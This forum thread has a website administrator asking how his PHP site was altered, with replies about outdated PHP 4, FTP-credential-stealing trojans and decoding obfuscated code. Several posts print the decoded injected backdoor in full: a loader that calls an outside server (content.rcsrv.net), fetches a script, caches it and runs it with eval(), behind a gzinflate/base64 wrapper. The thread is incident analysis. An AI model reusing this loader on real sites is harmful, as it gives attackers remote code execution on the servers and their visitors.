How did this happen?

Discussions of secure PHP coding. Security in software is important, so don't be afraid to ask. And when answering: be anal. Nitpick. No security vulnerability is too small.

Moderator: General Moderators

Cr00zng
Forum Newbie
Posts: 13
Joined: Mon Oct 05, 2009 7:15 pm

How did this happen?

Post by Cr00zng »

I'll probably get some advise on searching, which I did and here it goes...

I administer couple of websites that use PHP code, some more codes than others. One of the sites that uses minimal PHP had been modified last night; two PHP files had been added, one PHP and two HTML files changed. The changes had been detected in the morning and the site has been restored. While I understand that this can happen to anyone, there are some puzzling details that I have hard time getting my head around; maybe you guys can help me out....

One of the puzzling aspect is that the site permission had been set for anonymous as read and execute only. Maybe I am too naive to believe that this setting could prevent upload to the site, but that's what I've been told number of times. "Set the correct folder/file permission for your site..."

Obviously, the ISP or FTP account could be compromised and changes were made using these credentials as owner. It's logical; however, that's not the case. None of the logs shows any traces of this change; neither the FTP, nor the web logs. In any case the passwords were soon to be due for change and they were this morning.

If the site seemingly was not changed through the web and/or compromised credentials, what is the way these changes could be made? Would it be PHP version vulnerability exploited, or should I look for answers at my ISP? I gues in either case it boils down to the ISP...

I'd like to know how the site has been changed, so I could prevent it in the future to happen again.
Thank you for your time and help,

Cr00zng

PS: The uploaded files had been saved prior to cleaning the website, if you're interested. One of the PHP file starts with this comment:

Code: Select all

<?php /* This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited. */
The rest of the file, other than some basic code such as return, urldecode, etc, is encrypted.
User avatar
Mordred
DevNet Resident
Posts: 1579
Joined: Sun Sep 03, 2006 5:19 am
Location: Sofia, Bulgaria

Re: How did this happen?

Post by Mordred »

Probably a backdoor. Why don't you decrypt it yourself and see what's inside?
Did you check if a local troyan has uploaded these changes with your account from your IP (I've heard this happening)
User avatar
superdezign
DevNet Master
Posts: 4135
Joined: Sat Jan 20, 2007 11:06 pm

Re: How did this happen?

Post by superdezign »

Cr00zng wrote:Would it be PHP version vulnerability exploited, or should I look for answers at my ISP? I gues in either case it boils down to the ISP...
Most security vulnerabilities of an application lie within the application, not within the platform. I assure you, the security layer with the least amount of testing and auditing is your own.
Cr00zng
Forum Newbie
Posts: 13
Joined: Mon Oct 05, 2009 7:15 pm

Re: How did this happen?

Post by Cr00zng »

Thanks guys...

Mordred...
I am not sure how to decrypt the stuff in the file without knowing the encryption type used. The base64 decrypter online stated that it cannot be converted into plain text. As for the Trojan on the shared server... That'll be the day when the ISP will admit to you that they had a Trojan on the shared server :lol:
The Trojan on the server, while possible, seems unlikely; I have four other website probably running on the same shared server and they were not impacted.

superdezign...
The PHP in the website isn't really used for applications; it's basically used for adding the header, sidebar, and footer to the main page via "<?php include("header.htm"); ?>", etc, statements. The access rights to the site had been set as read/execute for everyone, the only exception is the owner that also has write access. Yes, I do understand that the ISP's admins also have full access to these files. The site had been tested with BackTrack version 4.0 and seemed just fine couple of weeks ego. I do check the logs practically daily, that showed nothing related to the changes. Keep in mind that the logs are filtered by the ISP, they're not the full logs for Apache. The only reason why this had been discovered is the practically daily checks of the site through FTP.

Since the PHP engine is active at the site, despite being used for minimal tasks, it's possible that the site had been changed utilizing a PHP vulnerability. Or maybe it was just one of those "things" by the ISP admin :crazy:
Thanks for your help guys...

Cr00zng
User avatar
superdezign
DevNet Master
Posts: 4135
Joined: Sat Jan 20, 2007 11:06 pm

Re: How did this happen?

Post by superdezign »

A vulnerability in PHP, itself? If your host is using outdated software, tell them to upgrade. And I doubt that there are no coding problems...
Cr00zng
Forum Newbie
Posts: 13
Joined: Mon Oct 05, 2009 7:15 pm

Re: How did this happen?

Post by Cr00zng »

superdezign wrote:A vulnerability in PHP, itself? If your host is using outdated software, tell them to upgrade. And I doubt that there are no coding problems...
Well, it seems that the ISP is hosting outdated version:

Code: Select all

<?
phpinfo();
?>
Shows PHP Version 4.4.9 from Oct 28 2008; that's a far cry from the current version of 5.3.3...

Please do tell about the coding problems. At this point I am willing to rewrite the site in HTML/CSS only since PHP is only used to manage header, footer, and sidebar changes in a single file instead of in all of the pages.
Thanks superdezign...
User avatar
superdezign
DevNet Master
Posts: 4135
Joined: Sat Jan 20, 2007 11:06 pm

Re: How did this happen?

Post by superdezign »

Oh.. Wow. PHP 4. Though this was once the language we called our own, we've all but completely disowned it at this point. I'd demand that your host upgrade PHP to version 5 at the least.
Cr00zng
Forum Newbie
Posts: 13
Joined: Mon Oct 05, 2009 7:15 pm

Re: How did this happen?

Post by Cr00zng »

Oh wow is right...
It seems that I can migrate from the current server(s) to a new block that has PHP 5.2.3. The trouble is that it seems easier to migrate the sites to a new ISP than doing a migration with the current one. Any suggestion for an ISP?
internet-solution
Forum Contributor
Posts: 220
Joined: Thu May 27, 2010 6:27 am
Location: UK

Re: How did this happen?

Post by internet-solution »

Cr00zng wrote:
Mordred...
As for the Trojan on the shared server... That'll be the day when the ISP will admit to you that they had a Trojan on the shared server :lol:
The Trojan on the server, while possible, seems unlikely;
Trojan can also be on your local PC. If your username /password is store on your PC (e.g. in a ftp software) then the Trojan will be able to access this. If that is the case, it will use your IP address and it will be difficult to identify this in ftp / web log.
Cr00zng
Forum Newbie
Posts: 13
Joined: Mon Oct 05, 2009 7:15 pm

Re: How did this happen?

Post by Cr00zng »

internet-solution wrote: Trojan can also be on your local PC. If your username /password is store on your PC (e.g. in a ftp software) then the Trojan will be able to access this. If that is the case, it will use your IP address and it will be difficult to identify this in ftp / web log.
Certainly, it is a plausible explanation, but...

I'd disagree that it would be hard to identify this in the FTP logs. On the date in question, there has been no FTP connection to my account/server, not even from my IP address. The same account also has three other websites that had not been impacted, maybe because these sites have less traffic than the site that had been impacted.

My money would be on the ISP, if I'd bet on this; either because of the old PHP version, or the rogue ISP admin. I've got to move the site to another ISP where the admins do not have Russian names :wink:
User avatar
Mordred
DevNet Resident
Posts: 1579
Joined: Sun Sep 03, 2006 5:19 am
Location: Sofia, Bulgaria

Re: How did this happen?

Post by Mordred »

Mordred wrote:Did you check if a local troyan ...
To decrypt is simple, I guess the script does something like:

Code: Select all

eval( whatever( base64decode( $string) ) );
Do this instead

Code: Select all

echo whatever( base64decode( $string) );
I.e. go through all layers except the eval().
Cr00zng
Forum Newbie
Posts: 13
Joined: Mon Oct 05, 2009 7:15 pm

Re: How did this happen?

Post by Cr00zng »

I don't really know a lot about PHP coding, more of a CSS/HTML guy, but spent some time on the content of the file that had been saved.

First off, the file isn't only encrypted by base64, it is also gz compressed. That explains why the online base64 decoders didn't work. Here's the first line of the file:

Code: Select all

<?php define("GR_HOST_ID", "ftp_index_part9"); eval(gzinflate(base64_decode(
During my research of the gzinflate and base64 decode, I've stumbled upon this PHP decoder that did a pretty good job of deflating and decrypting the file AFAICS:

Code: Select all

?><?phpini_set("display_errors", 0);
error_reporting(0);
define("GR_CLIENT_VERSION", "remote_index_v1");
define("GR_SERVER_API_URL", "http://content.rcsrv.net/api.php");
define("GR_HOST_ID", "ftp_index_part2"); 
ID ïðîôèëÿdefine("GR_USE_CACHE_SCRIPT", true);
define("GR_CACHE_SCRIPT_TIME", 60*60*12); 
12 ÷àñîâ, êýøèðîâàíèå ñêðèïòàfunction GR_Run() {    if (GR_USE_CACHE_SCRIPT) {        $cache_id = md5(GR_GetHostId()."script");
        $script = GR_GetCache($cache_id, GR_CACHE_SCRIPT_TIME, $cache_filename);
                if ($script == false) {            $script = GR_ServerRequest("get_script");
                           GR_SaveCache($cache_id, $script);
                                   }    } else {        $script = GR_ServerRequest("get_script");
                                       }    if ($script) {        eval($script);    }} function GR_Init() {    if(!function_exists('str_ireplace')){        function str_ireplace($search,$replace,$subject){            if (is_array($search)) {                foreach ($search as $id => $r_search) {                    $r_replace = is_array($replace) ? $replace[$id] : $replace;                                        $token = chr(1);                    $haystack = strtolower($subject);                    $needle = strtolower($r_search);                    while (($pos=strpos($haystack,$needle))!==FALSE){                        $subject = substr_replace($subject,$token,$pos,strlen($r_search));                        $haystack = substr_replace($haystack,$token,$pos,strlen($r_search));                    }                    $subject = str_replace($token,$r_replace,$subject);                }            } else {                $token = chr(1);                $haystack = strtolower($subject);                $needle = strtolower($search);                while (($pos=strpos($haystack,$needle))!==FALSE){                    $subject = substr_replace($subject,$token,$pos,strlen($search));                    $haystack = substr_replace($haystack,$token,$pos,strlen($search));                }                $subject = str_replace($token,$replace,$subject);            }                        return $subject;        }    }        if (!function_exists("stripos")) {        function stripos($str,$needle,$offset=0) {            return strpos(strtolower($str),strtolower($needle),$offset);        }    }}function GR_GetHostId() {    if (defined("GR_HOST_ID")) {        $host_id = GR_HOST_ID;        if (empty($host_id)) {            $host_id = getenv("HTTP_HOST");        }    } else {        $host_id = getenv("HTTP_HOST");    }        return $host_id;}function GR_ParseHeaders($s_headers) {    $headers = array();    $hs = explode("\n", $s_headers);    foreach ($hs as $h) {        $h = trim($h);        if (!empty($h)) {            list($var, $value) = explode(": ", $h, 2);            $headers[$var] = $value;        }    }        return $headers;}function GR_ServerRequest($func_name, $vars = array()) {    $url = GR_SERVER_API_URL."?ver=".GR_CLIENT_VERSION."&func=".urlencode($func_name)."&host_id=".urlencode(GR_GetHostId());    foreach ($vars as $var => $value) {        $url .= "&".urlencode($var)."=".urlencode($value);    }        $a_full = file_get_contents($url);    list($a_headers, $a_content) = explode("\r\n\r\n", $a_full, 2);    $headers = GR_ParseHeaders($a_headers);    if ($headers['status'] == "ok") {        return $a_content;    } else {        return false;    }}function GR_GetCachePath() {    $path = false;    if (function_exists('sys_get_temp_dir')) {        $path = sys_get_temp_dir();    } else {        if( $path = getenv('TMP') ) ;        elseif( $path = getenv('TEMP') ) ;        elseif( $path = getenv('TMPDIR') ) ;        else {            $path = tempnam(__FILE__,'');            if (file_exists($path)) {                unlink($path);                $path = dirname($path);            }        }    }        return $path ? realpath($path) : false;}function GR_GetCache($filename, $time = 0, &$path) {    $path = GR_GetCachePath().DIRECTORY_SEPARATOR.$filename.".che";    if (file_exists($path)) {        if ($time == 0) {            return file_get_contents($path);        }        elseif ($time > 0 and time()-filemtime($path) < $time) { /* cache is not expired */            return file_get_contents($path);        }        else {            return false;        }    } else {        return false;    }}function GR_SaveCache($filename, $content) {    $path = GR_GetCachePath().DIRECTORY_SEPARATOR.$filename.".che";    $fh = fopen($path, "w");    if ($fh) {        fwrite($fh, $content);        fclose($fh);                return true;    } else {        return false;    }} GR_Init();GR_Run();?><?
The above code is way beyond my knowledge of PHP. It does seem that the code above calls a server API at the defined link; the api.php file may have all of the referenced scripts. Whoever coded the above has some sense of humor. I did burst out laughing when I seen the variables of "$haystack,$needle".

As it is, I am not sure what the code above does; albeit, I am pretty sure that it isn't anything that should have been at my website.

Cr00zng
Cr00zng
Forum Newbie
Posts: 13
Joined: Mon Oct 05, 2009 7:15 pm

Re: How did this happen?

Post by Cr00zng »

Well, I was just curious about the http://content.rcsrv.net domain, where I couldn't get to the api.php file...
  1. Web server runs Apache, on CentOS, serving up Apache test page at the moment
  2. Server IP owned by RIPE Networks in Amsterdam
  3. The physical location of the IP is Tel Aviv, TA, IL
  4. Registrar for domain is Regtime LTD (resides in Russia)
  5. Domain registered to someone in Iowa
Certainly this domain has an interesting international mix and just wondering what Israel has to do with it?

Cr00zng
Sephern
Forum Commoner
Posts: 73
Joined: Sun Jan 04, 2009 4:44 pm

Re: How did this happen?

Post by Sephern »

Just out of interest, you don't happen to use $_GET or $_POST variables in any way to determine which php file to include, do you?
Cr00zng
Forum Newbie
Posts: 13
Joined: Mon Oct 05, 2009 7:15 pm

Re: How did this happen?

Post by Cr00zng »

Sephern wrote:Just out of interest, you don't happen to use $_GET or $_POST variables in any way to determine which php file to include, do you?
Nope... The PHP references in any of the pages for the site in question are:

Code: Select all

<?php include("header.htm"); ?>
....CSS/HTML content....
<?php include("footer.htm"); ?>
While my site didn't use the "GET/POST" variables, nonetheless, the PHP engine is available. The fact that the site is on a shared server and PHP engine version 4.4.9 available, then not using the variables may not make much of a difference. Again, I don't know much about PHP.

I have other sites where PHP forms are used, probably on the same shared server, but that site was and is just fine; it had not been impacted by this hack.
Thanks Sephern...
Post Reply